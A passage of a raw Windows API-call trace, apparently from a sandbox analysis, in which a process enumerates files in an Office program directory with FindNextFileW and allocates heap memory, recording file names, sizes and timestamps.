ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.045] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0075.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="")) returned 1 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0075.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.046] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 